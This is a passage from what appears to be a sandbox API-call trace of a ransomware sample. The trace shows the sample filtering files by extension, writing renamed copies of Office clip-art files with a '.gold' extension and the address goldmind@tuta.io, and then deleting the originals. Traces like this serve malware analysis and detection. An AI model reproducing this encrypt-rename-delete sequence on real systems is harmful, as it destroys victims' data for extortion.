[0096.876] lstrlenW (lpString=".rar") returned 4 [0096.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".bz2") returned 4 [0096.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".7z") returned 3 [0096.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".dbf") returned 4 [0096.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".1cd") returned 4 [0096.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".jpg") returned 4 [0096.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".doc") returned 4 [0096.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".docx") returned 5 [0096.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.876] lstrlenW (lpString=".pdf") returned 4 [0096.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".xls") returned 4 [0096.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.877] lstrlenW (lpString=".xlsx") returned 5 [0096.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.877] lstrlenW (lpString=".ppt") returned 4 [0096.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.877] lstrlenW (lpString=".zip") returned 4 [0096.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.877] lstrlenW (lpString=".rar") returned 4 [0096.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.877] lstrlenW (lpString=".bz2") returned 4 [0096.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.877] lstrlenW (lpString=".7z") returned 3 [0096.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.877] lstrlenW (lpString=".dbf") returned 4 [0096.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.877] lstrlenW (lpString=".1cd") returned 4 [0096.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.877] lstrlenW (lpString=".jpg") returned 4 [0096.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.877] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.877] lstrlenW (lpString="FD02161_.WMF") returned 12 [0096.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.878] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3128) returned 1 [0096.878] CloseHandle (hObject=0x33c) returned 1 [0096.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0096.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.878] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.878] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.879] GetLastError () returned 0x0 [0096.879] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xc38, lpOverlapped=0x0) returned 1 [0096.888] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0096.889] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.889] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.889] SetEndOfFile (hFile=0x3c4) returned 1 [0096.889] CloseHandle (hObject=0x3c4) returned 1 [0096.889] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.889] SetEndOfFile (hFile=0x33c) returned 1 [0096.891] CloseHandle (hObject=0x33c) returned 1 [0096.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0096.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".doc") returned 4 [0096.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".docx") returned 5 [0096.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.892] lstrlenW (lpString=".pdf") returned 4 [0096.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".xls") returned 4 [0096.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.892] lstrlenW (lpString=".xlsx") returned 5 [0096.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.892] lstrlenW (lpString=".ppt") returned 4 [0096.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".zip") returned 4 [0096.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.892] lstrlenW (lpString=".rar") returned 4 [0096.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".bz2") returned 4 [0096.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".7z") returned 3 [0096.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".dbf") returned 4 [0096.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".1cd") returned 4 [0096.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".jpg") returned 4 [0096.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".doc") returned 4 [0096.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".docx") returned 5 [0096.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.892] lstrlenW (lpString=".pdf") returned 4 [0096.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".xls") returned 4 [0096.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.892] lstrlenW (lpString=".xlsx") returned 5 [0096.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.892] lstrlenW (lpString=".ppt") returned 4 [0096.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".zip") returned 4 [0096.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.892] lstrlenW (lpString=".rar") returned 4 [0096.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".bz2") returned 4 [0096.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.892] lstrlenW (lpString=".7z") returned 3 [0096.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.892] lstrlenW (lpString=".dbf") returned 4 [0096.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.893] lstrlenW (lpString=".1cd") returned 4 [0096.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0096.893] lstrlenW (lpString=".jpg") returned 4 [0096.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.893] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.893] lstrlenW (lpString="HH00057_.WMF") returned 12 [0096.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.894] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3764) returned 1 [0096.894] CloseHandle (hObject=0x33c) returned 1 [0096.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0096.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.894] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.894] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.895] GetLastError () returned 0x0 [0096.895] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xeb4, lpOverlapped=0x0) returned 1 [0096.896] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0096.897] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.897] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.897] SetEndOfFile (hFile=0x3c4) returned 1 [0096.897] CloseHandle (hObject=0x3c4) returned 1 [0096.897] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.897] SetEndOfFile (hFile=0x33c) returned 1 [0096.899] CloseHandle (hObject=0x33c) returned 1 [0096.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0096.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.899] lstrlenW (lpString=".doc") returned 4 [0096.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.899] lstrlenW (lpString=".docx") returned 5 [0096.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.899] lstrlenW (lpString=".pdf") returned 4 [0096.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.899] lstrlenW (lpString=".xls") returned 4 [0096.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.900] lstrlenW (lpString=".xlsx") returned 5 [0096.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.900] lstrlenW (lpString=".ppt") returned 4 [0096.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".zip") returned 4 [0096.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.900] lstrlenW (lpString=".rar") returned 4 [0096.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".bz2") returned 4 [0096.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".7z") returned 3 [0096.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".dbf") returned 4 [0096.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".1cd") returned 4 [0096.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".jpg") returned 4 [0096.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".doc") returned 4 [0096.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".docx") returned 5 [0096.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.900] lstrlenW (lpString=".pdf") returned 4 [0096.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".xls") returned 4 [0096.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.900] lstrlenW (lpString=".xlsx") returned 5 [0096.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.900] lstrlenW (lpString=".ppt") returned 4 [0096.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.900] lstrlenW (lpString=".zip") returned 4 [0096.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.900] lstrlenW (lpString=".rar") returned 4 [0096.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".bz2") returned 4 [0096.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.900] lstrlenW (lpString=".7z") returned 3 [0096.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.901] lstrlenW (lpString=".dbf") returned 4 [0096.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.901] lstrlenW (lpString=".1cd") returned 4 [0096.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0096.901] lstrlenW (lpString=".jpg") returned 4 [0096.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.901] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.901] lstrlenW (lpString="HH00084_.WMF") returned 12 [0096.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.902] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2472) returned 1 [0096.902] CloseHandle (hObject=0x33c) returned 1 [0096.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0096.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.902] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.903] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.903] GetLastError () returned 0x0 [0096.903] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x9a8, lpOverlapped=0x0) returned 1 [0096.904] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0096.905] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.905] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.905] SetEndOfFile (hFile=0x3c4) returned 1 [0096.905] CloseHandle (hObject=0x3c4) returned 1 [0096.905] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.905] SetEndOfFile (hFile=0x33c) returned 1 [0096.907] CloseHandle (hObject=0x33c) returned 1 [0096.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".doc") returned 4 [0096.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".docx") returned 5 [0096.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.908] lstrlenW (lpString=".pdf") returned 4 [0096.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".xls") returned 4 [0096.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.908] lstrlenW (lpString=".xlsx") returned 5 [0096.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.908] lstrlenW (lpString=".ppt") returned 4 [0096.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".zip") returned 4 [0096.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.908] lstrlenW (lpString=".rar") returned 4 [0096.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".bz2") returned 4 [0096.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString=".7z") returned 3 [0096.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".dbf") returned 4 [0096.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0096.908] lstrlenW (lpString=".1cd") returned 4 [0096.908] lstrcmpiW 